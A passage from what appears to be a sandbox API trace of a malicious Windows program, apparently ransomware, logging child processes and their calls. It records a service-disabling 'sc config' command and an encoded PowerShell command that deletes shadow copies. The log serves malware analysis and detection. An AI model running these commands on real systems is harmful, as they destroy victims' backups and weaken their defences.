dwLanguageId=0x0, lpBuffer=0x4ab04640, nSize=0x2000, Arguments=0x45f490 | out: lpBuffer="'bcdedit' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0088.640] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x4ab04640*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x45f474, lpReserved=0x0 | out: lpBuffer=0x4ab04640*, lpNumberOfCharsWritten=0x45f474*=0x62) returned 1 [0088.641] GetConsoleTitleW (in: lpConsoleTitle=0x45f6c8, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0088.641] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x517988, lpFilePart=0x45f1e8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x45f1e8*="Desktop") returned 0x25 [0088.641] SetErrorMode (uMode=0x0) returned 0x1 [0088.641] GetProcessHeap () returned 0x500000 [0088.641] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x517980, Size=0x64) returned 0x517980 [0088.642] GetProcessHeap () returned 0x500000 [0088.642] RtlSizeHeap (HeapHandle=0x500000, Flags=0x0, MemoryPointer=0x517980) returned 0x64 [0088.642] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab00640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0088.642] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0088.642] GetProcessHeap () returned 0x500000 [0088.642] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x120) returned 0x501100 [0088.642] GetProcessHeap () returned 0x500000 [0088.642] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x238) returned 0x5179f0 [0088.642] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x5179f0, Size=0x122) returned 0x5179f0 [0088.642] GetProcessHeap () returned 0x500000 [0088.642] RtlSizeHeap (HeapHandle=0x500000, Flags=0x0, MemoryPointer=0x5179f0) returned 0x122 [0088.642] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab00640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0088.642] GetProcessHeap () returned 0x500000 [0088.642] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0xe0) returned 0x501228 [0088.642] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x501228, Size=0x76) returned 0x501228 [0088.642] GetProcessHeap () returned 0x500000 [0088.642] RtlSizeHeap (HeapHandle=0x500000, Flags=0x0, MemoryPointer=0x501228) returned 0x76 [0088.642] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0088.642] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x45ef64, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x45ef64) returned 0xffffffff [0088.642] GetLastError () returned 0x2 [0088.642] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bcdedit", fInfoLevelId=0x1, lpFindFileData=0x45ef64, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x45ef64) returned 0xffffffff [0088.643] GetLastError () returned 0x2 [0088.643] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0088.643] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x45ef64, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x45ef64) returned 0xffffffff [0088.643] GetLastError () returned 0x2 [0088.643] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit", fInfoLevelId=0x1, lpFindFileData=0x45ef64, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x45ef64) returned 0xffffffff [0088.643] GetLastError () returned 0x2 [0088.643] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0088.643] FindFirstFileExW (in: lpFileName="C:\\Windows\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x45ef64, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x45ef64) returned 0xffffffff [0088.643] GetLastError () returned 0x2 [0088.643] FindFirstFileExW (in: lpFileName="C:\\Windows\\bcdedit", fInfoLevelId=0x1, lpFindFileData=0x45ef64, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x45ef64) returned 0xffffffff [0088.643] GetLastError () returned 0x2 [0088.643] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0088.644] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x45ef64, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x45ef64) returned 0xffffffff [0088.644] GetLastError () returned 0x2 [0088.644] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\bcdedit", fInfoLevelId=0x1, lpFindFileData=0x45ef64, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x45ef64) returned 0xffffffff [0088.644] GetLastError () returned 0x2 [0088.644] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0088.644] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x45ef64, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x45ef64) returned 0xffffffff [0088.644] GetLastError () returned 0x2 [0088.644] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\bcdedit", fInfoLevelId=0x1, lpFindFileData=0x45ef64, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x45ef64) returned 0xffffffff [0088.644] GetLastError () returned 0x2 [0088.644] _get_osfhandle (_FileHandle=2) returned 0xb [0088.644] GetFileType (hFile=0xb) returned 0x2 [0088.645] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0088.645] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x45f3b8 | out: lpMode=0x45f3b8) returned 1 [0088.645] _get_osfhandle (_FileHandle=2) returned 0xb [0088.645] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xb, lpConsoleScreenBufferInfo=0x45f3ec | out: lpConsoleScreenBufferInfo=0x45f3ec) returned 1 [0088.645] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x4ab04640, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0088.645] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x4ab04640, nSize=0x2000, Arguments=0x45f42c | out: lpBuffer="'bcdedit' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0088.645] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x4ab04640*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x45f410, lpReserved=0x0 | out: lpBuffer=0x4ab04640*, lpNumberOfCharsWritten=0x45f410*=0x62) returned 1 [0088.645] GetConsoleTitleW (in: lpConsoleTitle=0x45f6c8, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0088.646] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x517d40, lpFilePart=0x45f1e8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x45f1e8*="Desktop") returned 0x25 [0088.646] SetErrorMode (uMode=0x0) returned 0x1 [0088.646] GetProcessHeap () returned 0x500000 [0088.646] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x517d38, Size=0x64) returned 0x517d38 [0088.646] GetProcessHeap () returned 0x500000 [0088.646] RtlSizeHeap (HeapHandle=0x500000, Flags=0x0, MemoryPointer=0x517d38) returned 0x64 [0088.646] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab00640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0088.646] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0088.646] GetProcessHeap () returned 0x500000 [0088.646] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x120) returned 0x517da8 [0088.646] GetProcessHeap () returned 0x500000 [0088.646] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x238) returned 0x517ed0 [0088.646] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x517ed0, Size=0x122) returned 0x517ed0 [0088.646] GetProcessHeap () returned 0x500000 [0088.646] RtlSizeHeap (HeapHandle=0x500000, Flags=0x0, MemoryPointer=0x517ed0) returned 0x122 [0088.646] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab00640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0088.646] GetProcessHeap () returned 0x500000 [0088.646] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0xe0) returned 0x518000 [0088.646] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x518000, Size=0x76) returned 0x518000 [0088.646] GetProcessHeap () returned 0x500000 [0088.646] RtlSizeHeap (HeapHandle=0x500000, Flags=0x0, MemoryPointer=0x518000) returned 0x76 [0088.646] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0088.646] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wbadmin.*", fInfoLevelId=0x1, lpFindFileData=0x45ef64, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x45ef64) returned 0xffffffff [0088.647] GetLastError () returned 0x2 [0088.647] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wbadmin", fInfoLevelId=0x1, lpFindFileData=0x45ef64, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x45ef64) returned 0xffffffff [0088.647] GetLastError () returned 0x2 [0088.647] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0088.647] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\wbadmin.*", fInfoLevelId=0x1, lpFindFileData=0x45ef64, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x45ef64) returned 0xffffffff [0088.647] GetLastError () returned 0x2 [0088.647] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\wbadmin", fInfoLevelId=0x1, lpFindFileData=0x45ef64, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x45ef64) returned 0xffffffff [0088.647] GetLastError () returned 0x2 [0088.647] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0088.647] FindFirstFileExW (in: lpFileName="C:\\Windows\\wbadmin.*", fInfoLevelId=0x1, lpFindFileData=0x45ef64, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x45ef64) returned 0xffffffff [0088.647] GetLastError () returned 0x2 [0088.647] FindFirstFileExW (in: lpFileName="C:\\Windows\\wbadmin", fInfoLevelId=0x1, lpFindFileData=0x45ef64, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x45ef64) returned 0xffffffff [0088.648] GetLastError () returned 0x2 [0088.648] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0088.648] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\wbadmin.*", fInfoLevelId=0x1, lpFindFileData=0x45ef64, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x45ef64) returned 0xffffffff [0088.648] GetLastError () returned 0x2 [0088.648] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\wbadmin", fInfoLevelId=0x1, lpFindFileData=0x45ef64, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x45ef64) returned 0xffffffff [0088.648] GetLastError () returned 0x2 [0088.648] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0088.648] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\wbadmin.*", fInfoLevelId=0x1, lpFindFileData=0x45ef64, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x45ef64) returned 0xffffffff [0088.648] GetLastError () returned 0x2 [0088.648] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\wbadmin", fInfoLevelId=0x1, lpFindFileData=0x45ef64, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x45ef64) returned 0xffffffff [0088.648] GetLastError () returned 0x2 [0088.649] _get_osfhandle (_FileHandle=2) returned 0xb [0088.649] GetFileType (hFile=0xb) returned 0x2 [0088.650] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0088.650] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x45f3b8 | out: lpMode=0x45f3b8) returned 1 [0088.651] _get_osfhandle (_FileHandle=2) returned 0xb [0088.651] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xb, lpConsoleScreenBufferInfo=0x45f3ec | out: lpConsoleScreenBufferInfo=0x45f3ec) returned 1 [0088.651] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x4ab04640, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0088.651] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x4ab04640, nSize=0x2000, Arguments=0x45f42c | out: lpBuffer="'wbadmin' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0088.651] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x4ab04640*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x45f410, lpReserved=0x0 | out: lpBuffer=0x4ab04640*, lpNumberOfCharsWritten=0x45f410*=0x62) returned 1 [0088.651] _get_osfhandle (_FileHandle=1) returned 0x7 [0088.651] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0088.652] _get_osfhandle (_FileHandle=1) returned 0x7 [0088.652] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4aaf41ac | out: lpMode=0x4aaf41ac) returned 1 [0088.652] _get_osfhandle (_FileHandle=0) returned 0x3 [0088.652] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4aaf41b0 | out: lpMode=0x4aaf41b0) returned 1 [0088.652] SetConsoleInputExeNameW () returned 0x1 [0088.652] GetConsoleOutputCP () returned 0x1b5 [0088.652] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4aaf4260 | out: lpCPInfo=0x4aaf4260) returned 1 [0088.652] SetThreadUILanguage (LangId=0x0) returned 0x409 [0088.653] exit (_Code=1) Process: id = "6" image_name = "sc.exe" filename = "c:\\windows\\syswow64\\sc.exe" page_root = "0x496bc000" os_pid = "0x79c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "4" os_parent_pid = "0xc4" cmd_line = "sc config \"AppCheck\" start=disabled" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 12 os_tid = 0x114 [0066.888] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x20ff54 | out: lpSystemTimeAsFileTime=0x20ff54*(dwLowDateTime=0x8083e9c0, dwHighDateTime=0x1d60051)) [0066.888] GetCurrentProcessId () returned 0x79c [0066.888] GetCurrentThreadId () returned 0x114 [0066.888] GetTickCount () returned 0x1146eca [0066.888] QueryPerformanceCounter (in: lpPerformanceCount=0x20ff4c | out: lpPerformanceCount=0x20ff4c*=18669599270) returned 1 [0066.888] GetModuleHandleA (lpModuleName=0x0) returned 0x150000 [0066.888] __set_app_type (_Type=0x1) [0066.888] __p__fmode () returned 0x770331f4 [0066.888] __p__commode () returned 0x770331fc [0066.889] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x1579c7) returned 0x0 [0066.889] __wgetmainargs (in: _Argc=0x159020, _Argv=0x159028, _Env=0x159024, _DoWildCard=0, _StartInfo=0x159034 | out: _Argc=0x159020, _Argv=0x159028, _Env=0x159024) returned 0 [0066.889] SetThreadUILanguage (LangId=0x0) returned 0x409 [0066.893] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0066.893] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0066.893] wcsncmp (_String1="co", _String2="\\\\", _MaxCount=0x2) returned 7 [0066.893] _wcsicmp (_String1="config", _String2="query") returned -14 [0066.894] _wcsicmp (_String1="config", _String2="queryex") returned -14 [0066.894] _wcsicmp (_String1="config", _String2="start") returned -16 [0066.894] _wcsicmp (_String1="config", _String2="pause") returned -13 [0066.894] _wcsicmp (_String1="config", _String2="interrogate") returned -6 [0066.894] _wcsicmp (_String1="config", _String2="control") returned -14 [0066.894] _wcsicmp (_String1="config", _String2="continue") returned -14 [0066.894] _wcsicmp (_String1="config", _String2="stop") returned -16 [0066.894] _wcsicmp (_String1="config", _String2="config") returned 0 [0066.894] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x21f7b0 [0066.899] _wcsicmp (_String1="start=disabled", _String2="type=") returned -1 [0066.899] _wcsicmp (_String1="start=disabled", _String2="start=") returned 100 [0066.899] _wcsicmp (_String1="start=disabled", _String2="error=") returned 14 [0066.899] _wcsicmp (_String1="start=disabled", _String2="binPath=") returned 17 [0066.899] _wcsicmp (_String1="start=disabled", _String2="group=") returned 12 [0066.899] _wcsicmp (_String1="start=disabled", _String2="tag=") returned -1 [0066.899] _wcsicmp (_String1="start=disabled", _String2="depend=") returned 15 [0066.899] _wcsicmp (_String1="start=disabled", _String2="obj=") returned 4 [0066.899] _wcsicmp (_String1="start=disabled", _String2="password=") returned 3 [0066.899] _wcsicmp (_String1="start=disabled", _String2="DisplayName=") returned 15 [0066.899] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x3, dwLanguageId=0x0, lpBuffer=0x20fdf0, nSize=0x2, Arguments=0x0 | out: lpBuffer="㎀\"䇰\x15༄N\x01") returned 0x289 [0066.903] GetFileType (hFile=0x7) returned 0x2 [0066.904] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x20fdc4 | out: lpMode=0x20fdc4) returned 1 [0066.904] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x223380*, nNumberOfCharsToWrite=0x289, lpNumberOfCharsWritten=0x20fde0, lpReserved=0x0 | out: lpBuffer=0x223380*, lpNumberOfCharsWritten=0x20fde0*=0x289) returned 1 [0066.905] LocalFree (hMem=0x223380) returned 0x0 [0066.905] LocalFree (hMem=0x0) returned 0x0 [0066.905] CloseServiceHandle (hSCObject=0x21f7b0) returned 1 [0066.912] exit (_Code=1639) Thread: id = 13 os_tid = 0x7f4 Process: id = "7" image_name = "powershell.exe" filename = "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe" page_root = "0x49b23000" os_pid = "0x3d4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xb7c" cmd_line = "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 14 os_tid = 0x5cc [0088.014] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0088.748] SysStringByteLen (bstr="Microsoft.PowerShell.ConsoleHost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=msil") returned 0xfe [0088.748] SysStringByteLen (bstr="Microsoft.PowerShell.ConsoleHost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=msil") returned 0xfe [0088.748] SysStringByteLen (bstr="Microsoft.PowerShell.UnmanagedPSEntry") returned 0x4a [0088.748] SysStringByteLen (bstr="Microsoft.PowerShell.UnmanagedPSEntry") returned 0x4a [0089.769] GetVersionExW (in: lpVersionInformation=0x6f7130*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x6f7130*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0089.769] GetLastError () returned 0x2 [0089.770] GetVersionExW (in: lpVersionInformation=0x6f7130*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x6f7130*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0089.770] GetLastError () returned 0x2 [0089.777] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e87c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.777] GetLastError () returned 0x2 [0089.784] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e898, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.784] GetLastError () returned 0x2 [0089.785] GetVersionExW (in: lpVersionInformation=0x6f7130*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x6f7130*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0089.785] GetLastError () returned 0x2 [0089.786] SetErrorMode (uMode=0x1) returned 0x1 [0089.787] GetFileAttributesExW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll"), fInfoLevelId=0x0, lpFileInformation=0x27ed18 | out: lpFileInformation=0x27ed18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85ac0a8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa85ac0a8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa85d2208, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2df000)) returned 1 [0089.787] GetLastError () returned 0x2 [0089.787] SetErrorMode (uMode=0x1) returned 0x1 [0089.790] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpdwHandle=0x27ed9c | out: lpdwHandle=0x27ed9c) returned 0x94c [0089.792] GetLastError () returned 0x0 [0089.794] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", dwHandle=0x0, dwLen=0x94c, lpData=0x28f4e6c | out: lpData=0x28f4e6c) returned 1 [0089.797] VerQueryValueW (in: pBlock=0x28f4e6c, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x27ed68, puLen=0x27ed64 | out: lplpBuffer=0x27ed68*=0x28f4f08, puLen=0x27ed64) returned 1 [0089.799] lstrlenW (lpString="䅁") returned 1 [0089.810] VerQueryValueW (in: pBlock=0x28f4e6c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0x27ece4, puLen=0x27ece0 | out: lplpBuffer=0x27ece4*=0x28f4fe4, puLen=0x27ece0) returned 1 [0089.810] lstrlenW (lpString="Microsoft Corporation") returned 21 [0089.812] lstrcpyW (in: lpString1=0x6f7118, lpString2="Microsoft Corporation" | out: lpString1="Microsoft Corporation") returned="Microsoft Corporation" [0089.812] VerQueryValueW (in: pBlock=0x28f4e6c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0x27ece4, puLen=0x27ece0 | out: lplpBuffer=0x27ece4*=0x28f5038, puLen=0x27ece0) returned 1 [0089.812] lstrlenW (lpString="System.Management.Automation") returned 28 [0089.812] lstrcpyW (in: lpString1=0x6f7118, lpString2="System.Management.Automation" | out: lpString1="System.Management.Automation") returned="System.Management.Automation" [0089.812] VerQueryValueW (in: pBlock=0x28f4e6c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0x27ece4, puLen=0x27ece0 | out: lplpBuffer=0x27ece4*=0x28f5094, puLen=0x27ece0) returned 1 [0089.812] lstrlenW (lpString="6.1.7601.17514") returned 14 [0089.812] lstrcpyW (in: lpString1=0x6f7118, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0089.812] VerQueryValueW (in: pBlock=0x28f4e6c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0x27ece4, puLen=0x27ece0 | out: lplpBuffer=0x27ece4*=0x28f50d4, puLen=0x27ece0) returned 1 [0089.812] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0089.812] lstrcpyW (in: lpString1=0x6f7118, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0089.812] VerQueryValueW (in: pBlock=0x28f4e6c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0x27ece4, puLen=0x27ece0 | out: lplpBuffer=0x27ece4*=0x28f513c, puLen=0x27ece0) returned 1 [0089.812] lstrlenW (lpString="Copyright (c) Microsoft Corporation. All rights reserved.") returned 57 [0089.812] lstrcpyW (in: lpString1=0x6f7118, lpString2="Copyright (c) Microsoft Corporation. All rights reserved." 